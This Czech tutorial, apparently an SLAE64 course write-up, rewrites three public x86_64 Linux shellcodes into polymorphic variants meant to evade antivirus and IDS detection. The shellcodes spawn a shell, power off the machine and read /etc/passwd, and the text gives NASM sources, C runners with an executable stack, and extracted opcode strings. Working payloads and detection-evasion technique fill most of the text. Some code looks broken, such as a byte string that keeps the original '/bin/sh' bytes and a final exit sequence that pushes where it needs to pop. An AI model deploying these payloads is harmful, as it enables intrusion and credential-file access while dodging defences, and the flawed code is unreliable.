Polymorfní 64bitové shellcody

V šestém textu této 64bitové série bude demonstrováno psaní polymorfních shellcodů, budou přepsány 3 shellcody z veřejně dostupných zdrojů do jejich polymorfní verze. Polymorfní shellcode nesmí být větší jak 150 % délky originálu.

Běžné shellcody jsou fingerprintované AV a IDS, proto nejsou během penetračního testování příliš vhodné. Například „/bin/bash/“ může být pro IDS jasné varování, že se děje něco podezřelého. Problém není možné kompletně vyřešit používáním custom encoderů, protože ty jsou vždy identifikovatelné pomocí stubu a instrukcí, které obsahuje. Naštěstí existuje řešení a tím jsou polymorfní shellcody. Díky polymorfním shellcodům je možné obelstít běžné AV a IDS řešení.

Polymorfní shellcode může používat například:

  • vložení instrukcí, které nemají žádnou funkci a nemění funkcionality shellcodu
  • používání odlišných nebo náhodných registrů
  • randomizace pořadí prováděných instrukcí
  • používání přímo ESP oproti push/pop instrukcím
  • nepoužívání známých hex řetězců
  • používání exotičtějších instrukcí

Jako první použijeme jednoduchý 64bit execve(“/bin/sh”) shellcode s originální délkou 29 bytů. Zdroj

/** x86_64 execveat("/bin//sh") 29 bytes shellcode
--[ AUTHORS
        * ZadYree
        * vaelio
        * DaShrooms
~ Armature Technologies R&D
--[ asm
6a 42                   push   0x42
58                      pop    rax
fe c4                   inc    ah
48 99                   cqo
52                      push   rdx
48 bf 2f 62 69 6e 2f    movabs rdi, 0x68732f2f6e69622f
2f 73 68
57                      push   rdi
54                      push   rsp
5e                      pop    rsi
49 89 d0                mov    r8, rdx
49 89 d2                mov    r10, rdx
0f 05                   syscall
--[ COMPILE
gcc execveat.c -o execveat # NX-compatible :)
**/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
const uint8_t sc[29] = {
    0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf,
    0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
    0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05
};
/** str
\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf
\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54
\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
**/
int main (void)
{
  ((void (*) (void)) sc) ();
  return EXIT_SUCCESS;
}

Nejdříve si shellcode analyzujeme (nikdy nespouštějte neznámé shellcody bez předchozí analýzy), následně jej zkompilujeme a otestujeme:

  • gcc -fno-stack-protector -z execstack shellcode1.c -o shellcode1

Jak můžeme vidět, shellcode funguje, budou provedeny následující modifikace:

  • xor reg, reg:
    • sub reg, reg
  • push 0x42:
    • add rax,0x11
    • add rax,0x31
    • push eax
  • mov rdi, 0x68732f2f6e69622f
    • mov rdi, 0x57621E1E5D58511E
    • add rdi, 0x1

Finální nasm soubor:

; Filename: shellcode1-polymorphic.nasm
; Author: SLAE64-14209
 
global _start
section .text  
_start:
 
;push 0x42 
;pop rax
sub rax, rax
add rax, 0x11
add rax, 0x31
push rax
inc ah
cqo
push rdx
;mov rdi, 0x68732f2f6e69622f
mov rdi, 0x57621E1E5D58511E
add rdi, 0x1
push rdi 
push rsp
pop rsi
mov r8, rdx 
mov r10, rdx 
syscall 

Zkompilujeme a spustíme:

  • nasm -f elf64 -o shellcode1.o shellcode1.nasm
  • ld shellcode1.o -o shellcode1-polymorphic

Extrahujeme shellcode:

  • objdump -d ./shellcode1 |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x48\x29\xc0\x48\x83\xc0\x11\x48\x83\xc0\x31\x50\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05”

Velikost je 37 bytů. Soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%206/shellcode1-polymorphic.nasm

Jako druhý shellcode použijeme Linux/x86_64 reboot(POWER_OFF), který má velikost 19 bytů. Zdroj

# Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Date: 2010-04-25
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
 
 
/*
    ; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
LINUX_REBOOT_CMD_POWER_OFF)
 
    section .text
        global _start
 
    _start:
        mov     edx, 0x4321fedc
        mov     esi, 0x28121969
        mov     edi, 0xfee1dead
        mov     al,  0xa9
        syscall
*/
int main(void)
{
    char reboot[] =
    "\xba\xdc\xfe\x21\x43"  // mov    $0x4321fedc,%edx
    "\xbe\x69\x19\x12\x28"  // mov    $0x28121969,%esi
    "\xbf\xad\xde\xe1\xfe"  // mov    $0xfee1dead,%edi
    "\xb0\xa9"              // mov    $0xa9,%al
    "\x0f\x05";             // syscall
 
    (*(void (*)()) reboot)();
 
    return 0;
}

Jak můžeme vidět ze screenu výše, shellcode funguje.

Polymorfní kód:

; Filename: shellcode2-polymorphic.nasm
; Author: SLAE64-14209
  
global _start           
section .text
_start:
 
xor rax, rax
mov al, 0xa9
 
;mov edx, 0x4321fedc
mov edx, 0x4321fedb
inc dl
 
;mov esi, 0x28121969
mov esi, 0x28121968
inc sil
 
mov edi, 0xfee1dead
syscall

Zkompilujeme a spustíme:

  • nasm -f elf64 -o shellcode2-polymorphic.o shellcode2-polymorphic.nasm
  • ld shellcode2-polymorphic.o -o shellcode2-polymorphic

Extrahujeme shellcode:

  • objdump -d ./shellcode2-polymorphic |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x48\x31\xc0\xb0\xa9\xba\xdb\xfe\x21\x43\xfe\xc2\xbe\x68\x19\x12\x28\x40\xfe\xc6\xbf\xad\xde\xe1\xfe\x0f\x05”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x48\x31\xc0\xb0\xa9\xba\xdb\xfe\x21\x43\xfe\xc2\xbe\x68\x19\x12\x28\x40\xfe\xc6\xbf\xad\xde\xe1\xfe\x0f\x05";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 27 bytů.

Jako třetí shellcode použijeme 64bit shellcode, který provádí příkaz “cat /etc/passwd” s délkou 82 bytů. Zdroj

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
  
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
  
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
  
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
  
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
  
; syscall exit
xor rax, rax
add al, 60
syscall
  
_push_filename:
call _readfile
path: db "/etc/passwdA"

Shellcode:

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finální nasm soubor:

; Filename: shellcode3-polymorphic.nasm
; Author: SLAE64-14209
 
global _start
section .text
_start:
 
; syscall open file
 
push 0x01647773               ; 0x01 + dws
mov rbx, 0x7361702f6374652f   ; sap/cte/
push rbx
mov rdi, rsp
dec byte [rdi + 11]        ; solving null byte issue
  
push 2
pop rax ; syscall open = 2
;xor rsi, rsi ; set O_RDONLY flag
sub rsi, rsi
syscall
 
; syscall read file
 
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
 
; syscall write to stdout
;xor rdi, rdi
;add dil, 1 ; set stdout fd = 1
push 1
pop rdx
;mov rdx, rax
xchg rax, rdx
push rax
;xor rax, rax
;add al, 1
pop rdi
syscall
 
; syscall exit
;xor rax, rax
;add al, 60
push 60
push rax
syscall

Zkompilujeme a spustíme:

  • nasm -f elf64 -o shellcode3-polymorphic.o shellcode3-polymorphic.nasm
  • ld shellcode3-polymorphic.o -o shellcode3-polymorphic

Extrahujeme shellcode:

  • objdump -d ./shellcode3-polymorphic |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x68\x73\x77\x64\x01\x48\xbb\x2f\x65\x74\x63\x70\x61\x73\x53\x48\x89\xe7\xfe\x4f\x0b\x6a\x02\x58\x48\x29\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5a\x48\x92\x50\x5f\x0f\x05\x6a\x3c\x50\x0f\x05”

Velikost přepsaného shellcodu je 67 bytů, což je o 15 bytů méně, než je původní délka Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64